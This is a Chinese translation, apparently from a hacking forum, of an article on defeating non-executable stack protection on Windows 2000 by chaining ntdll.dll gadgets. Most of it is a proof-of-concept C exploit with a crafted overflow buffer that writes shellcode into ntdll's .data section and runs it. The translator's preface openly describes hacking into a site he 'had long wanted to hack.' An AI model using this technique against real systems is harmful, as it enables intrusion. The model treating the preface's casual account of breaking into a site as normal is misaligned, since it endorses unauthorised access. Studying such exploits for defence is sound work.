文章翻譯:無敵最寂寞 [E.S.T]
信息來源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com

譯者注:
? 只能說好久沒發(fā)過文章了,重新回來的感覺真好。昨天手癢癢就去黑一個(gè)我一直想黑的站。在掃描過程中發(fā)現(xiàn)有溢出漏洞然而卻無法溢出成功,想當(dāng)然的認(rèn)為是掃描 器的誤報(bào)。通過其它方式成功入侵后發(fā)現(xiàn)系統(tǒng)的確有這個(gè)漏洞,但是該系統(tǒng)使用了堆棧保護(hù)安全機(jī)制,即使入侵成功shellcode也無法執(zhí)行。以前修改 shellcode只是在變形上,現(xiàn)如今你再怎么變形也無法執(zhí)行了。為了啃下這塊硬骨頭我四處搜索相關(guān)資料,
結(jié)果找到了這篇英文資料。但是上面沒有寫明作者是誰,從文中看估計(jì)是個(gè)叫CDROM的。由于沒有確切信息,我也不便妄自猜測(cè)因此就先用不詳代替了吧。如果哪為好心人知道原作者是說,請(qǐng)跟我聯(lián)系。
? 本文我在翻譯的時(shí)候加入了大量的自己的理解,如果哪位朋友發(fā)現(xiàn)有不對(duì)的地方還請(qǐng)指正。 ?


概述
在本例中,我們來實(shí)際編寫一個(gè)可以在使用堆棧保護(hù)的系統(tǒng)中執(zhí)行的shellcode。該shellcode通過利用ntdll.dll的部分指令跳轉(zhuǎn)到我 們的代碼執(zhí)行。在大多數(shù)的dll中都可以實(shí)現(xiàn)此方法,而且可以完全饒過堆棧保護(hù)機(jī)制,因?yàn)橥ㄟ^此方法并沒有任何代碼在堆棧非執(zhí)行區(qū)域中執(zhí)行。

詳述
我們也許都聽說過堆棧保護(hù)這么一個(gè)詞。很多安全程序提供了對(duì)堆棧中的代碼執(zhí)行的保護(hù)功能(譯者注:原文這里用的是“protect”,其實(shí)我個(gè)人認(rèn)為用 “disallow”或者“disable”更確切的。因?yàn)檫@類所謂的堆棧保護(hù),其實(shí)就是禁止代碼在堆棧中執(zhí)行。)。一些新的硬件產(chǎn)品也具有禁止代碼在 “非執(zhí)行”內(nèi)存區(qū)域中執(zhí)行(比如AMD64)。然而編寫一個(gè)饒過此機(jī)制的shellcode并不是件難事,下面我給大家簡(jiǎn)單的介紹一下。
方法就是使用dll的部分代碼來達(dá)到我們的目的。如何做到呢?首先在堆棧發(fā)生溢出的時(shí)候我們將返回地址設(shè)置成ntdll.dll中的某個(gè)指令地址,我們要利用的ntdll的部分代碼如下:
Quote:

.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004
...

.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
.784635EF: 5E pop esi
.784635F0: C3 retn

那么我們將返回地址設(shè)置成784635EC,函數(shù)返回時(shí)就會(huì)跳到784635EC地址處執(zhí)行。然后我們?cè)诙褩V械奶D(zhuǎn)地址后面放入的一個(gè)特定的值就會(huì)被 “彈出”到edi中(譯者注:即上面784635EE處的指令。),緊跟其后的值就會(huì)被“彈出”到esi中。如上代碼所示,在前面兩個(gè)值被“彈出”后,后 面如果放的是另一個(gè)返回地址的話,那么執(zhí)行到上述代碼中784635F0處的retn指令時(shí),又會(huì)跳轉(zhuǎn)到其它代碼執(zhí)行,依次類推……通
過這樣的方法,我們就可以將在其它dll中的一些可以利用的代碼片段連接起來構(gòu)成一個(gè)合法的shellcode,達(dá)到不在堆棧中或者其它“非執(zhí)行”區(qū)域中執(zhí)行代碼的目的。
譯者注:看到這里也許還有些朋友沒有理解這個(gè)方法。這里我簡(jiǎn)單給大家說說吧。
注意看上面我們采集的ntdll的代碼片段,如果我們?cè)诙褩V袠?gòu)造這樣的數(shù)據(jù)(下面的代碼我純屬敘述方便虛構(gòu)的,在實(shí)際堆棧中并不是這樣表示的):

00120000 784635ef ? ------->此處為函數(shù)的返回地址
00120004 90909090 ? ------->此處為我們shellcode中的指令
00120008 784635ec ? ------->此處指向了mov eax,esi指令地址
0012000c 784b2121 ? ------->此處指向了一段可寫區(qū)域的起始地址
00120010 90909090 ? -------->此處為我們的shellcode中的指令
00120014 78462fdf ? -------->stosd指令的地址
00120018 00000000 ? -------->無用數(shù)據(jù)
0010001c 784635ec ? -------->此處指向了mov eax,esi指令地址
00100020 00000000 ? -------->無用數(shù)據(jù)
00100024 784b2125 ? -------->此處是一段可寫區(qū)域的起始地址+4

....
....
....

當(dāng) 溢出后返回時(shí),784635ef這個(gè)值將會(huì)“彈出”到eip中,程序執(zhí)行流程被改變。接著執(zhí)行784635ef處的pop esi指令,即“90909090”4個(gè)字節(jié)的數(shù)據(jù)被彈入到esi中。然后執(zhí)行784635f0處的retn返回指令,堆棧中00120008處的 784635ec彈入到eip中,執(zhí)行mov eax,esi指令。緊接著又執(zhí)行pop edi指令,堆棧中0012000c處的值784b2121彈入到edi中。然后再次執(zhí)行到pop esi指令,堆棧中00120010處的“90909090”被彈入到esi中。接著又執(zhí)行到retn指令,此時(shí)78462fdf彈入到eip中,開始執(zhí) 行stosd指令。大家都熟悉stosd指令吧,該指令是一個(gè)串送存指令,是將eax的值送存到edi寄存器中的值所標(biāo)示的地址處。然后又執(zhí)行 78462FE0處的pop edi,然后執(zhí)行到retn 4指令,eip的值又變成784635ec,同時(shí)esp+4,指向下一個(gè)可寫區(qū)域地址……如此循環(huán)我們就可以將我們的shellcode寫入到另一個(gè)地 方,然后再去執(zhí)行我們的shellcode。這樣就可以避免shellcode在堆棧中執(zhí)行。

這個(gè)方法的精髓就在這里,希望我的解釋能讓大家理解。我們繼續(xù)看正文吧:-)

注意,在這個(gè)例子中CDROM利用了上述方法將代碼轉(zhuǎn)儲(chǔ)(譯者注:原文此處是“dump”,不知如何翻譯更確切些。暫時(shí)翻譯成轉(zhuǎn)儲(chǔ)了。有更好的翻譯的朋友 歡迎指正)到ntdll 的.data段中,然后跳到轉(zhuǎn)儲(chǔ)后的代碼處以便執(zhí)行。CDROM使用的方法并不完全可行,因?yàn)閚tdll的.data段有可能也會(huì)被保護(hù)(譯者注:PE文 件格式中對(duì)段的描述也是有讀、寫、執(zhí)行保護(hù)的)。但是在本例中這個(gè)CDROM的方法是可行的(雖然在實(shí)際利用的時(shí)候沒有必要轉(zhuǎn)儲(chǔ)代碼,我們依然可以將其它 dll中的代碼片段組合成一個(gè)完全的shellcode來執(zhí)行,從而避免了在堆棧或其它“非執(zhí)行”區(qū)域執(zhí)行代碼)。
Shellcode:
Quote:

/*
This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with
visual studio 6.0 in debug and default options for the project. (really,only open the
.c with visual studio and F7,and yes,yes...
*/

#include <stdio.h>
#define DEBUGZ
#ifdef DEBUGZ
/*
將要在.data段中執(zhí)行的代碼如下:
nops
xor eax,eax 33 c0
push eax 50
push 0x79460e7d 68 7d 0e 46 79
ret c3

*/

/*
for debugging we have activated DEBUGZ for giving the shellcode directly to
func(), but this shellcode could go perfectly as argv[1]

*/

char exploit[]=
{
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a',
0xEF,0x35,0x46,0x78,//在這里我們將覆蓋返回地址( pop esi指令的地址)
0x90,0x90,0x90,0x90,//shellcode數(shù)據(jù)
0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
0x21,0x21,0x4b,0x78,//執(zhí)行ntdll的.data段中某個(gè)區(qū)域的首地址即0x784b2121
0x90,0x90,0x90,0x33,//shellcode數(shù)據(jù)
0xDF,0x2F,0x46,0x78,//此地址為ntdll中的stosd指令的地址
'a','a','a','a',

0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
'a','a','a','a',
0x21+4,0x21,0x4b,0x78,//ntdll的.data段中的可寫地址+4即0x784b2125
0xc0,0x50,0x68,0x7d,//shellcode數(shù)據(jù)
0xDF,0x2F,0x46,0x78,
'a','a','a','a',

0xEC,0x35,0x46,0x78,//smov eax,esi 指令的地址
'a','a','a','a',
0x21+8,0x21,0x4b,0x78,//可寫地址+8
0x0e,0x46,0x79,0xc3,//shellcode數(shù)據(jù)
0xDF,0x2F,0x46,0x78,
'a','a','a','a',

0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
'a','a','a','a',
0x21+12,0x21,0x4b,0x78,//可寫地址+12
0x90,0x90,0x90,0x90,//shellcode數(shù)據(jù)
0xDF,0x2F,0x46,0x78,
'a','a','a','a',

0x21,0x21,0x4b,0x78, //可寫地址的起始地址,所以shellcode寫完后我們就該跳到這里來執(zhí)行了。


};
char * pexploit[2] = {exploit,exploit};
#endif

void func(int argc,char ** argv)
{
char buffer[30];

if(argc>1)
{
strcpy(buffer,argv[1]);
}
}

void main(int argc,char ** argv)
{

#ifndef DEBUGZ
func(argc,argv);
#else
func(argc,pexploit);
#endif
}

/*

This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.
Its only a Proof of concept about how shellcodes could avoid stack protections.

This shellcode is not executed in the stack, however it has in the stack the useful values for
conducting the thread to ntdll code and forcing this code to write executable code to
ntdll .data section. Then,it will jump that code (that code will only call exitprocess so
the program will not crash thougth overflow occured).
*/

/*

ntdll.dll 代碼片段:

-------------------------------------------------------------------------------------------

.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004

-------------------------------------------------------------------------------------------

.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
.784635EF: 5E pop esi
.784635F0: C3 retn

-------------------------------------------------------------------------------------------

.data(ntdll.dll) 784b0000 --- 這里是我們存放拷貝過來的shellcode地方

Number Name VirtSize RVA PhysSize Offset Flag-
1 .text 00045CAB 00001000 00045E00 00000400 60000020
2 ECODE 00004371 00047000 00004400 00046200 60000020
3 PAGE 00003FEB 0004C000 00004000 0004A600 60000020
4 .data 00002D84 00050000 00002200 0004E600 C0000040
5 .rsrc 0002D000 00053000 0002C400 00050800 40000040
6 .reloc 00002010 00080000 00002200 0007CC00 42000040

-------------------------------------------------------------------------------------------

這里是我們構(gòu)造的溢出數(shù)據(jù)覆蓋堆棧后的樣子:
-----
???????? -> 垃圾數(shù)據(jù)
784635EF -> 第一個(gè)返回地址
???????? -> 垃圾數(shù)據(jù)

XXXXXXXX1-> 4個(gè)字節(jié)的shellcode數(shù)據(jù)(通過ntdll.dll中的784635EF地址處的 pop esi指令彈入到esi中)
784635EC -> mov eax,esi指令地址

784b2121 -> ntdll.dll的.data段中的可寫地址
XXXXXXXX2-> 4個(gè)字節(jié)的shellcode數(shù)據(jù)(通過ntdll.dll中的784635EF地址處的 pop esi指令彈入到esi中)
78462FDF -> stosd指令地址
???????? -> 垃圾數(shù)據(jù)
784635EC -> 通上
???????? ->retn 4

784b2125
XXXXXXXX3
78462FDF
????????
784635EC
????????

784b2129
XXXXXXXX4
78462FDF
????????
784635EC
????????
...

784bXXXX
XXXXXXXXN
78462FDF
????????
784b2121
????????

Nota:

784635EF -> 'xF5
????????
XXXXXXXX1
784635EC -> 'xF5
784b2121 -> 'xK!!'
XXXXXXXX2
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
784b2125 -> 'xK!%'
XXXXXXXX3
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
784b2129 -> 'xK!)'
XXXXXXXX4
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
...
784bXXXX
XXXXXXXXN
78462FDF -> 'xF/
????????
784b2121 -> 'xK!!'
????????

Info of my ntdll:
----------------

Version: 5.0.2195.6899

Count of sections 6 Machine intel386
Symbol table 00000000[00000000] Wed Mar 24 03:17:14 2004
Size of optional header 00E0 Magic optional header 010B
Linker version 5.12 OS version 5.00
Image version 5.00 Subsystem version 4.00
Entry point 00000000 Size of code 0004E200
Size of init data 00030800 Size of uninit data 00000000
Size of image 00083000 Size of header 00000400
Base of code 00001000 Base of data 0004E000
Image base 78460000 Subsystem Windows char
Section alignment 00001000 File alignment 00000200
Stack 00040000/00001000 Heap 00100000/00001000
Checksum 00082A23 Number of directories 16

*/

通過上面的方法我們就可以饒過堆棧保護(hù)機(jī)制執(zhí)行我們的shellcode。此文到這里就結(jié)束了,歡迎大家批評(píng)指正。

譯者注:
? ? 看完的同時(shí),我也翻譯完了。本人水平有限,也就能講解到這個(gè)地步了。不過此文確實(shí)是經(jīng)典之作,我看過后猶如剛剛欣賞完一段美麗的舞蹈。希望能給那些同樣在學(xué)習(xí)研究溢出的朋友一點(diǎn)啟示,也給那些被同樣問題所捆饒的朋友一點(diǎn)幫助吧。